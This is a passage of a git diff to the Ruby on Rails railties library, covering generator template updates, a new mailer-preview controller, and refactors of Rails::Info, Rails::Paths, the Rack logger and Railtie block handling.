@@ -1,15 +1,25 @@
 # Configure Rails Environment
 ENV["RAILS_ENV"] = "test"
 
-require File.expand_path("../dummy/config/environment.rb",  __FILE__)
+require File.expand_path("../../<%= options[:dummy_path] -%>/config/environment.rb",  __FILE__)
+<% unless options[:skip_active_record] -%>
+ActiveRecord::Migrator.migrations_paths = [File.expand_path("../../<%= options[:dummy_path] -%>/db/migrate", __FILE__)]
+<% if options[:mountable] -%>
+ActiveRecord::Migrator.migrations_paths << File.expand_path('../../db/migrate', __FILE__)
+<% end -%>
+<% end -%>
 require "rails/test_help"
 
-Rails.backtrace_cleaner.remove_silencers!
+# Filter out Minitest backtrace while allowing backtrace from other libraries
+# to be shown.
+Minitest.backtrace_filter = Minitest::BacktraceFilter.new
 
 # Load support files
 Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
 
 # Load fixtures from the engine
-if ActiveSupport::TestCase.method_defined?(:fixture_path=)
+if ActiveSupport::TestCase.respond_to?(:fixture_path=)
   ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
+  ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "files"
+  ActiveSupport::TestCase.fixtures :all
 end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index a0e5553e44..e4a2bc2b0f 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -9,7 +9,7 @@ module Rails
       # should give you
       #
       #   namespace :admin do
-      #     namespace :users
+      #     namespace :users do
       #       resources :products
       #     end
       #   end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
index 4a3eb2c7c7..1b2a944103 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -9,11 +9,16 @@ Description:
 
     Attributes are field arguments specifying the model's attributes. You can
     optionally pass the type and an index to each field. For instance:
-    "title body:text tracking_id:integer:uniq" will generate a title field of
+    'title body:text tracking_id:integer:uniq' will generate a title field of
     string type, a body with text type and a tracking_id as an integer with an
     unique index. "index" could also be given instead of "uniq" if one desires
     a non unique index.
 
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model,
+    controller, views, and test suite for use with ActiveModel
+    has_secure_password (assuming they are using Rails defaults).
+
     Timestamps are added by default, so you don't have to specify them by hand
     as 'created_at:datetime updated_at:datetime'.
 
@@ -33,3 +38,4 @@ Examples:
     `rails generate scaffold post`
     `rails generate scaffold post title body:text published:boolean`
     `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
+    `rails generate scaffold user email:uniq password:digest`
diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
index 1ae7000299..69af1e8307 100644
--- a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
+++ b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
@@ -4,6 +4,7 @@ body, p, ol, ul, td {
   font-family: verdana, arial, helvetica, sans-serif;
   font-size:   13px;
   line-height: 18px;
+  margin: 33px;
 }
 
 pre {
@@ -16,6 +17,16 @@ a { color: #000; }
 a:visited { color: #666; }
 a:hover { color: #fff; background-color:#000; }
 
+th {
+  padding-bottom: 5px;
+}
+
+td {
+  padding-bottom: 7px;
+  padding-left: 5px;
+  padding-right: 5px;
+}
+
 div.field, div.actions {
   margin-bottom: 10px;
 }
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 4f36b612ae..c01b82884d 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -7,13 +7,14 @@ module Rails
 
       check_class_collision suffix: "Controller"
 
+      class_option :helper, type: :boolean
       class_option :orm, banner: "NAME", type: :string, required: true,
                          desc: "ORM to generate the controller for"
 
       argument :attributes, type: :array, default: [], banner: "field:type field:type"
 
       def create_controller_files
-        template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+        template "controller.rb", File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
       end
 
       hook_for :template_engine, :test_framework, as: :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 0e69aa101f..2c3b04043f 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -31,7 +31,7 @@ class <%= controller_class_name %>Controller < ApplicationController
     if @<%= orm_instance.save %>
       redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
     else
-      render action: 'new'
+      render :new
     end
   end
 
@@ -40,7 +40,7 @@ class <%= controller_class_name %>Controller < ApplicationController
     if @<%= orm_instance.update("#{singular_table_name}_params") %>
       redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
     else
-      render action: 'edit'
+      render :edit
     end
   end
 
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index 7fd5c00768..9c2037783e 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -1,42 +1,46 @@
 require 'rails/generators/active_model'
+require 'rails/generators/model_helpers'
 
 module Rails
   module Generators
     # Deal with controller names on scaffold and add some helpers to deal with
     # ActiveModel.
     module ResourceHelpers # :nodoc:
-      mattr_accessor :skip_warn
 
       def self.included(base) #:nodoc:
-        base.class_option :force_plural, type: :boolean, desc: "Forces the use of a plural ModelName"
+        base.include(Rails::Generators::ModelHelpers)
+        base.class_option :model_name, type: :string, desc: "ModelName to be used"
       end
 
       # Set controller variables on initialization.
       def initialize(*args) #:nodoc:
         super
-
-        if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
-          unless ResourceHelpers.skip_warn
-            say "Plural version of the model detected, using singularized version. Override with --force-plural."
-            ResourceHelpers.skip_warn = true
-          end
-          name.replace name.singularize
-          assign_names!(name)
+        controller_name = name
+        if options[:model_name]
+          self.name = options[:model_name]
+          assign_names!(self.name)
         end
 
-        @controller_name = name.pluralize
+        assign_controller_names!(controller_name.pluralize)
       end
 
       protected
 
-        attr_reader :controller_name
+        attr_reader :controller_name, :controller_file_name
 
         def controller_class_path
-          class_path
+          if options[:model_name]
+            @controller_class_path
+          else
+            class_path
+          end
         end
 
-        def controller_file_name
-          @controller_file_name ||= file_name.pluralize
+        def assign_controller_names!(name)
+          @controller_name = name
+          @controller_class_path = name.include?('/') ? name.split('/') : name.split('::')
+          @controller_class_path.map!(&:underscore)
+          @controller_file_name = @controller_class_path.pop
         end
 
         def controller_file_path
@@ -44,7 +48,7 @@ module Rails
         end
 
         def controller_class_name
-          (controller_class_path + [controller_file_name]).map!{ |m| m.camelize }.join('::')
+          (controller_class_path + [controller_file_name]).map!(&:camelize).join('::')
         end
 
         def controller_i18n_scope
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
index 0db76f9eaf..bde4e88915 100644
--- a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
+++ b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
@@ -3,11 +3,7 @@ require 'rails/generators/test_unit'
 module TestUnit # :nodoc:
   module Generators # :nodoc:
     class HelperGenerator < Base # :nodoc:
-      check_class_collision suffix: "HelperTest"
-
-      def create_helper_files
-        template 'helper_test.rb', File.join('test/helpers', class_path, "#{file_name}_helper_test.rb")
-      end
+      # Rails does not generate anything here.
     end
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb b/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
deleted file mode 100644
index 7d37bda0f9..0000000000
--- a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>HelperTest < ActionView::TestCase
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/job/job_generator.rb b/railties/lib/rails/generators/test_unit/job/job_generator.rb
new file mode 100644
index 0000000000..566b61ca66
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/job_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class JobGenerator < Base # :nodoc:
+      check_class_collision suffix: 'JobTest'
+
+      def create_test_file
+        template 'unit_test.rb.erb', File.join('test/jobs', class_path, "#{file_name}_job_test.rb")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
new file mode 100644
index 0000000000..f5351d0ec6
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>JobTest < ActiveJob::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 3334b189bf..ba131da79d 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -4,10 +4,17 @@ module TestUnit # :nodoc:
   module Generators # :nodoc:
     class MailerGenerator < Base # :nodoc:
       argument :actions, type: :array, default: [], banner: "method method"
-      check_class_collision suffix: "Test"
+
+      def check_class_collision
+        class_collisions "#{class_name}MailerTest", "#{class_name}MailerPreview"
+      end
 
       def create_test_files
-        template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
+        template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_mailer_test.rb")
+      end
+
+      def create_preview_files
+        template "preview.rb", File.join('test/mailers/previews', class_path, "#{file_name}_mailer_preview.rb")
       end
     end
   end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
index 7e204105a3..3cee517db3 100644
--- a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
@@ -1,7 +1,7 @@
 require 'test_helper'
 
 <% module_namespacing do -%>
-class <%= class_name %>Test < ActionMailer::TestCase
+class <%= class_name %>MailerTest < ActionMailer::TestCase
 <% actions.each do |action| -%>
   test "<%= action %>" do
     mail = <%= class_name %>.<%= action %>
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000000..6b85764a66
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>
+class <%= class_name %>MailerPreview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+  # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>/<%= action %>
+  def <%= action %>
+    <%= class_name %>Mailer.<%= action %>
+  end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
index f19e9d1d87..50ca61a35b 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
@@ -5,6 +5,8 @@
 <% attributes.each do |attribute| -%>
   <%- if attribute.password_digest? -%>
   password_digest: <%%= BCrypt::Password.create('secret') %>
+  <%- elsif attribute.reference? -%>
+  <%= yaml_key_value(attribute.column_name.sub(/_id$/, ''), attribute.default) %>
   <%- else -%>
   <%= yaml_key_value(attribute.column_name, attribute.default) %>
   <%- end -%>
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
index 18bd1ece9d..8d825ae7b0 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -19,30 +19,30 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
 
   test "should create <%= singular_table_name %>" do
     assert_difference('<%= class_name %>.count') do
-      post :create, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
+      post :create, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> }
     end
 
     assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
   end
 
   test "should show <%= singular_table_name %>" do
-    get :show, id: <%= "@#{singular_table_name}" %>
+    get :show, params: { id: <%= "@#{singular_table_name}" %> }
     assert_response :success
   end
 
   test "should get edit" do
-    get :edit, id: <%= "@#{singular_table_name}" %>
+    get :edit, params: { id: <%= "@#{singular_table_name}" %> }
     assert_response :success
   end
 
   test "should update <%= singular_table_name %>" do
-    patch :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
+    patch :update, params: { id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %> }
     assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
   end
 
   test "should destroy <%= singular_table_name %>" do
     assert_difference('<%= class_name %>.count', -1) do
-      delete :destroy, id: <%= "@#{singular_table_name}" %>
+      delete :destroy, params: { id: <%= "@#{singular_table_name}" %> }
     end
 
     assert_redirected_to <%= index_helper %>_path
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
index 6267b2f2ee..bd069e4bd0 100644
--- a/railties/lib/rails/generators/testing/assertions.rb
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -1,3 +1,5 @@
+require 'shellwords'
+
 module Rails
   module Generators
     module Testing
@@ -21,8 +23,8 @@ module Rails
         #     end
         #   end
         def assert_file(relative, *contents)
-          absolute = File.expand_path(relative, destination_root)
-          assert File.exists?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+          absolute = File.expand_path(relative, destination_root).shellescape
+          assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
 
           read = File.read(absolute) if block_given? || !contents.empty?
           yield read if block_given?
@@ -44,7 +46,7 @@ module Rails
         #   assert_no_file "config/random.rb"
         def assert_no_file(relative)
           absolute = File.expand_path(relative, destination_root)
-          assert !File.exists?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+          assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
         end
         alias :assert_no_directory :assert_no_file
 
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
index 7576eba6e0..c9700e1cd7 100644
--- a/railties/lib/rails/generators/testing/behaviour.rb
+++ b/railties/lib/rails/generators/testing/behaviour.rb
@@ -2,6 +2,7 @@ require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/hash/reverse_merge'
 require 'active_support/core_ext/kernel/reporting'
+require 'active_support/testing/stream'
 require 'active_support/concern'
 require 'rails/generators'
 
@@ -10,6 +11,7 @@ module Rails
     module Testing
       module Behaviour
         extend ActiveSupport::Concern
+        include ActiveSupport::Testing::Stream
 
         included do
           class_attribute :destination_root, :current_path, :generator_class, :default_arguments
@@ -50,7 +52,7 @@ module Rails
         #   class AppGeneratorTest < Rails::Generators::TestCase
         #     tests AppGenerator
         #     destination File.expand_path("../tmp", File.dirname(__FILE__))
-        #     teardown :cleanup_destination_root
+        #     setup :prepare_destination
         #
         #     test "database.yml is not created when skipping Active Record" do
         #       run_generator %w(myapp --skip-active-record)
@@ -100,6 +102,7 @@ module Rails
             dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, '')
             Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
           end
+
       end
     end
   end
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index edadeaca0e..5909446b66 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -1,11 +1,14 @@
 require "cgi"
 
 module Rails
+  # This module helps build the runtime properties used to display in the
+  # Rails::InfoController responses. Including the active Rails version, Ruby
+  # version, Rack version, and so on.
   module Info
     mattr_accessor :properties
     class << (@@properties = [])
       def names
-        map {|val| val.first }
+        map(&:first)
       end
 
       def value_for(property_name)
@@ -22,19 +25,8 @@ module Rails
       rescue Exception
       end
 
-      def frameworks
-        %w( active_record action_pack action_view action_mailer active_support )
-      end
-
-      def framework_version(framework)
-        if Object.const_defined?(framework.classify)
-          require "#{framework}/version"
-          framework.classify.constantize.version.to_s
-        end
-      end
-
       def to_s
-        column_width = properties.names.map {|name| name.length}.max
+        column_width = properties.names.map(&:length).max
         info = properties.map do |name, value|
           value = value.join(", ") if value.is_a?(Array)
           "%-#{column_width}s   %s" % [name, value]
@@ -61,6 +53,11 @@ module Rails
       end
     end
 
+    # The Rails version.
+    property 'Rails version' do
+      Rails.version.to_s
+    end
+
     # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
     property 'Ruby version' do
       "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
@@ -75,23 +72,10 @@ module Rails
       ::Rack.release
     end
 
-    # The Rails version.
-    property 'Rails version' do
-      Rails.version.to_s
-    end
-
     property 'JavaScript Runtime' do
       ExecJS.runtime.name
     end
 
-    # Versions of each Rails framework (Active Record, Action Pack,
-    # Action Mailer, and Active Support).
-    frameworks.each do |framework|
-      property "#{framework.titlecase} version" do
-        framework_version(framework)
-      end
-    end
-
     property 'Middleware' do
       Rails.configuration.middleware.map(&:inspect)
     end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index fa5668a5b5..49e5431a16 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,11 +1,11 @@
+require 'rails/application_controller'
 require 'action_dispatch/routing/inspector'
 
-class Rails::InfoController < ActionController::Base # :nodoc:
-  self.view_paths = File.expand_path('../templates', __FILE__)
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
   prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
-  layout -> { request.xhr? ? nil : 'application' }
+  layout -> { request.xhr? ? false : 'application' }
 
-  before_filter :require_local!
+  before_action :require_local!
 
   def index
     redirect_to action: :routes
@@ -13,21 +13,11 @@ class Rails::InfoController < ActionController::Base # :nodoc:
 
   def properties
     @info = Rails::Info.to_html
+    @page_title = 'Properties'
   end
 
   def routes
     @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
-  end
-
-  protected
-
-  def require_local!
-    unless local_request?
-      render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
-    end
-  end
-
-  def local_request?
-    Rails.application.config.consider_all_requests_local || request.local?
+    @page_title = 'Routes'
   end
 end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000000..32740d66da
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,73 @@
+require 'rails/application_controller'
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+  before_action :require_local!
+  before_action :find_preview, only: :preview
+
+  def index
+    @previews = ActionMailer::Preview.all
+    @page_title = "Mailer Previews"
+  end
+
+  def preview
+    if params[:path] == @preview.preview_name
+      @page_title = "Mailer Previews for #{@preview.preview_name}"
+      render action: 'mailer'
+    else
+      email = File.basename(params[:path])
+
+      if @preview.email_exists?(email)
+        @email = @preview.call(email)
+
+        if params[:part]
+          part_type = Mime::Type.lookup(params[:part])
+
+          if part = find_part(part_type)
+            response.content_type = part_type
+            render text: part.respond_to?(:decoded) ? part.decoded : part
+          else
+            raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}"
+          end
+        else
+          @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT)
+          render action: 'email', layout: false, formats: %w[html]
+        end
+      else
+        raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}"
+      end
+    end
+  end
+
+  protected
+    def find_preview
+      candidates = []
+      params[:path].to_s.scan(%r{/|$}){ candidates << $` }
+      preview = candidates.detect{ |candidate| ActionMailer::Preview.exists?(candidate) }
+
+      if preview
+        @preview = ActionMailer::Preview.find(preview)
+      else
+        raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+      end
+    end
+
+    def find_preferred_part(*formats)
+      if @email.multipart?
+        formats.each do |format|
+          return find_part(format) if @email.parts.any?{ |p| p.mime_type == format }
+        end
+      else
+        @email
+      end
+    end
+
+    def find_part(format)
+      if @email.multipart?
+        @email.parts.find{ |p| p.mime_type == format }
+      elsif @email.mime_type == format
+        @email
+      end
+    end
+end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index de6795eda2..5458036219 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -24,7 +24,7 @@ module Rails
     #
     # Notice that when you add a path using +add+, the path object created already
     # contains the path with the same path value given to +add+. In some situations,
-    # you may not want this behavior, so you can give :with as option.
+    # you may not want this behavior, so you can give <tt>:with</tt> as option.
     #
     #   root.add "config/routes", with: "config/routes.rb"
     #   root["config/routes"].inspect # => ["config/routes.rb"]
@@ -77,38 +77,32 @@ module Rails
       end
 
       def all_paths
-        values.tap { |v| v.uniq! }
+        values.tap(&:uniq!)
       end
 
       def autoload_once
-        filter_by(:autoload_once?)
+        filter_by(&:autoload_once?)
       end
 
       def eager_load
-        filter_by(:eager_load?)
+        filter_by(&:eager_load?)
       end
 
       def autoload_paths
-        filter_by(:autoload?)
+        filter_by(&:autoload?)
       end
 
       def load_paths
-        filter_by(:load_path?)
+        filter_by(&:load_path?)
       end
 
-    protected
+    private
 
-      def filter_by(constraint)
-        all = []
-        all_paths.each do |path|
-          if path.send(constraint)
-            paths  = path.existent
-            paths -= path.children.map { |p| p.send(constraint) ? [] : p.existent }.flatten
-            all.concat(paths)
-          end
-        end
-        all.uniq!
-        all
+      def filter_by(&block)
+        all_paths.find_all(&block).flat_map { |path|
+          paths = path.existent
+          paths - path.children.flat_map { |p| yield(p) ? [] : p.existent }
+        }.uniq
       end
     end
 
@@ -130,8 +124,9 @@ module Rails
       end
 
       def children
-        keys = @root.keys.select { |k| k.include?(@current) }
-        keys.delete(@current)
+        keys = @root.keys.find_all { |k|
+          k.start_with?(@current) && k != @current
+        }
         @root.values_at(*keys.sort)
       end
 
@@ -172,8 +167,8 @@ module Rails
         @paths.concat paths
       end
 
-      def unshift(path)
-        @paths.unshift path
+      def unshift(*paths)
+        @paths.unshift(*paths)
       end
 
       def to_ary
@@ -203,7 +198,7 @@ module Rails
 
       # Returns all expanded paths but only if they exist in the filesystem.
       def existent
-        expanded.select { |f| File.exists?(f) }
+        expanded.select { |f| File.exist?(f) }
       end
 
       def existent_directories
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d1ee96f7fd..a4c4527a72 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,7 +1,5 @@
 module Rails
   module Rack
-    autoload :Debugger,      "rails/rack/debugger"
-    autoload :Logger,        "rails/rack/logger"
-    autoload :LogTailer,     "rails/rack/log_tailer"
+    autoload :Logger, "rails/rack/logger"
   end
 end
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
index f7b77bcb3b..1fde3db070 100644
--- a/railties/lib/rails/rack/debugger.rb
+++ b/railties/lib/rails/rack/debugger.rb
@@ -1,24 +1,3 @@
-module Rails
-  module Rack
-    class Debugger
-      def initialize(app)
-        @app = app
+require 'active_support/deprecation'
 
-        ARGV.clear # clear ARGV so that rails server options aren't passed to IRB
-
-        require 'debugger'
-
-        ::Debugger.start
-        ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
-        puts "=> Debugger enabled"
-      rescue LoadError
-        puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
-        exit(1)
-      end
-
-      def call(env)
-        @app.call(env)
-      end
-    end
-  end
-end
+ActiveSupport::Deprecation.warn("This file is deprecated and will be removed in Rails 5.1 with no replacement.")
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
deleted file mode 100644
index 18f22e8089..0000000000
--- a/railties/lib/rails/rack/log_tailer.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module Rails
-  module Rack
-    class LogTailer
-      def initialize(app, log = nil)
-        @app = app
-
-        path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
-
-        @cursor = @file = nil
-        if ::File.exists?(path)
-          @cursor = ::File.size(path)
-          @file = ::File.open(path, 'r')
-        end
-      end
-
-      def call(env)
-        response = @app.call(env)
-        tail!
-        response
-      end
-
-      def tail!
-        return unless @cursor
-        @file.seek @cursor
-
-        unless @file.eof?
-          contents = @file.read
-          @cursor = @file.tell
-          $stdout.print contents
-        end
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index ef4cdcb080..9962e6d943 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -11,7 +11,6 @@ module Rails
       def initialize(app, taggers = nil)
         @app          = app
         @taggers      = taggers || []
-        @instrumenter = ActiveSupport::Notifications.instrumenter
       end
 
       def call(env)
@@ -33,8 +32,9 @@ module Rails
           logger.debug ''
         end
 
-        @instrumenter.start 'request.action_dispatch', request: request
-        logger.info started_request_message(request)
+        instrumenter = ActiveSupport::Notifications.instrumenter
+        instrumenter.start 'request.action_dispatch', request: request
+        logger.info { started_request_message(request) }
         resp = @app.call(env)
         resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
         resp
@@ -70,7 +70,8 @@ module Rails
       private
 
       def finish(request)
-        @instrumenter.finish 'request.action_dispatch', request: request
+        instrumenter = ActiveSupport::Notifications.instrumenter
+        instrumenter.finish 'request.action_dispatch', request: request
       end
 
       def development?
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 89ca8cbe11..8c24d1d56d 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -22,7 +22,7 @@ module Rails
   #
   # * creating initializers
   # * configuring a Rails framework for the application, like setting a generator
-  # * +adding config.*+ keys to the environment
+  # * adding <tt>config.*</tt> keys to the environment
   # * setting up a subscriber with ActiveSupport::Notifications
   # * adding rake tasks
   #
@@ -63,8 +63,8 @@ module Rails
   #     end
   #   end
   #
-  # Finally, you can also pass :before and :after as option to initializer, in case
-  # you want to couple it with a specific step in the initialization process.
+  # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer,
+  # in case you want to couple it with a specific step in the initialization process.
   #
   # == Configuration
   #
@@ -93,7 +93,7 @@ module Rails
   #     end
   #   end
   #
-  # By default, Rails load generators from your load path. However, if you want to place
+  # By default, Rails loads generators from your load path. However, if you want to place
   # your generators at a different location, you can specify in your Railtie a block which
   # will load them during normal generators lookup:
   #
@@ -183,8 +183,8 @@ module Rails
       end
 
       protected
-        def generate_railtie_name(class_or_module)
-          ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
+        def generate_railtie_name(string)
+          ActiveSupport::Inflector.underscore(string).tr("/", "_")
         end
 
         # If the class method does not have a method, then send the method call
@@ -221,26 +221,28 @@ module Rails
     protected
 
     def run_console_blocks(app) #:nodoc:
-      self.class.console.each { |block| block.call(app) }
+      each_registered_block(:console) { |block| block.call(app) }
     end
 
     def run_generators_blocks(app) #:nodoc:
-      self.class.generators.each { |block| block.call(app) }
+      each_registered_block(:generators) { |block| block.call(app) }
     end
 
     def run_runner_blocks(app) #:nodoc:
-      self.class.runner.each { |block| block.call(app) }
+      each_registered_block(:runner) { |block| block.call(app) }
     end
 
     def run_tasks_blocks(app) #:nodoc:
       extend Rake::DSL
-      self.class.rake_tasks.each { |block| instance_exec(app, &block) }
+      each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
+    end
 
-      # Load also tasks from all superclasses
-      klass = self.class.superclass
+    private
 
-      while klass.respond_to?(:rake_tasks)
-        klass.rake_tasks.each { |t| instance_exec(app, &t) }
+    def each_registered_block(type, &block)
+      klass = self.class
+      while klass.respond_to?(type)
+        klass.public_send(type).each(&block)
         klass = klass.superclass
       end
     end
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
index 3b7f358a5b..aea3d2339c 100644
--- a/railties/lib/rails/ruby_version_check.rb
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -1,13 +1,13 @@
-if RUBY_VERSION < '1.9.3'
+if RUBY_VERSION < '2.2.0'
